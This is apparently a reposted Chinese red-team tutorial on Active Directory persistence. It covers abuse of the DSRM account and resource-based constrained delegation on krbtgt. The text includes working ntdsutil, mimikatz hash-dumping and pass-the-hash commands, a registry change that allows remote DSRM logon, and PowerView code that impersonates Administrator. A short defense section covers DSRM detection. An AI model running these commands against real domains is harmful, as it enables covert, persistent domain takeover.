域渗透-域内权限维持(上)

1.前言:

域内权限维持的方法总结如下:

  1. DSRM
  2. 利用基于资源的约束委派进行域权限维持
  3. Delegation Golden Ticket
  4. 利用域用户登陆脚本
  5. 万能密码(Skeleton-Key)
  6. 黄金票据
  7. AdminSDHolder
  8. SID History后门

2.技术展开

2.1 DSRM

原理:

****在每个域控机器下都有一个DSRM帐户,为DC的本地管理员账户,这个帐户的作用就是用来设定登陆服务还原模式 AD 节点的系统管理员密码,意思就是可以从新设置DC管理员的密码,在红队作战中,如果我们拿到了DSRM帐户的密码,就算哪天域管权限丢失,我们也可以把域内任意用户的密码同步到 DSRM 账户上[这里包括了 dc 本地的 admainistrator 用户],而后再利用 DSRM 账户 ipc 连到 dc 上把域管权限拿回来。

wKg0C2KE5muAHhPjAACOFiUwECk248.png

小细节:

Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步
Windows Server 2003不支持DSRM密码同步

利用方式:

攻击者将DSRM账户的hash与krbtgt同步,就算此时应急改变DC的administrator的密码,也可以继续利用pth哈希传递攻击。

需要的条件:

  1. 此攻击需要使用DC的ntdsutil来修改DSRM账户的密码。 1.1 直接修改DSRM 帐户的密码 1.2 域帐户同步的方式来修改
  2. 需要修改DSRM的登录方式。 2.1 通过注册表修改

实际操作:

域帐户同步的方式来修改DSRM 帐户的密码

set dsrm password
sync from domain account 域用户

wKg0C2KE5pKAOPj2AAAsFugEM1U399.png

直接修改DSRM 帐户的密码(这种需要之前的administrator帐户密码)

运行 ntdsutil
#输入 
reset password on server null
administrator帐户的密码
DSRM新密码

wKg0C2KE5q6AGFQGAACoIYaV1ys776.png

获取本地SAM 数据库的密码:

token::elevate 
lsadump::sam

发现hash已经与域用户admin hash 同步了

wKg0C2KE5sCALRyfAACza6qihQ203.png

修改DSRM登陆方式,允许DSRM帐户远程访问:

需设置注册表项,如果没有,则新建,计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa,设置值参考如下:

0:默认值,只有当域控重启并进入DSRM模式时,才可以使用DSRM管理员账号。 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控。 2:在任何情况下,都可以使用DSRM管理员账号登录域控。

我们需设置为2

wKg0C2KE5sAbZ7UAAEtlSU63Fc151.png

然后mimikatz pth

sekurlsa::pth /domain:DC /User:administrator /ntml:hash
dir /a \\DC\C$

wKg0C2KE5xOARnL2AAEgzZgIEyA788.png

防御与检测:

1.定期检查注册表中用于控制DSRM登录方式的键值hklm:\system\currentcontrolset\control\lsa\确认该键值为1,或者删除该键值。
2.定期修改域中所有域控的DSRM账号。
3.检查ID为4794的日志

2.2 利用基于资源的约束委派进行域权限维持

原理:

基于资源的约束委派(Resource-based constrained delegation)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。

利用原理:给DC或者krbtgt 设置我们控制的主机资源的基于资源的委派,那么就能控制DC,达到权限维持的目的。

利用方式:

主要有两种方法:

  1. 配置机器帐户到krbtgt帐户基于资源的约束委派
  2. 配置机器帐户到域控基于资源的约束委派

实际操作:

配置机器帐户到krbtgt帐户基于资源的约束委派,使用的工具模块为 Powerview:

值得注意的是,基于资源的委派,必须是委派双方需资源,例如机器帐户,服务帐户什么的,不能是域用户,下面尝试使用设置域用户帐户设置基于资源的委派,发现能设置,但是实际上是用不了

  1. 获取test1域用户的sid
Get-DomainUser -Identity test1 -Properties objectsid
#S-1-5-21-2288091295-2811714918-3159536460-1107
  1. 设置test1到krbtgt 的基于资源的委派
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2288091295-2811714918-3159536460-1107)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

需要域管理员权限才能设置,不然就会拒绝访问

wKg0C2KE5zmAJvzPAABp4yICzEw561.png

3.查看是否设置成功

Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

wKg0C2KE50iASfygAABngG5Dvw293.png

也可以通过ActiveDirectory模块添加:

只有Windows Server 2012以及以上的ActiveDirectory模块才有-PrincipalsAllowedToDelegateToAccount选项

Set-DomainObject Krbtgt -PrincipalsAllowedToDelegateToAccount test1
Get-DomainObject Krbtgt -Properties PrincipalsAllowedToDelegateToAccount

4.利用test1 域用户请求TGT:

getst.exe -dc-ip 192.168.140.1 -spn krbtgt -impersonate Administrator redteamspace.com/test1:1qaz@WSX

wKg0C2KE51WAD5HDAAB1nt9hnw0722.png

重新配置机器帐户到krbtgt帐户基于资源的约束委派,步骤相同,只需要把test1改成机器帐户,或者服务帐户

wKg0C2KE53CAINlOAABariWrZLY599.png

这里就能成功请求到票据了

wKg0C2KE53AXFIRAACf4v1REM174.png

这里就有DCSync的权限了,但如果要访问域空,那么krbtgt就得改成域控的机器帐户名了,或者其他服务。

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐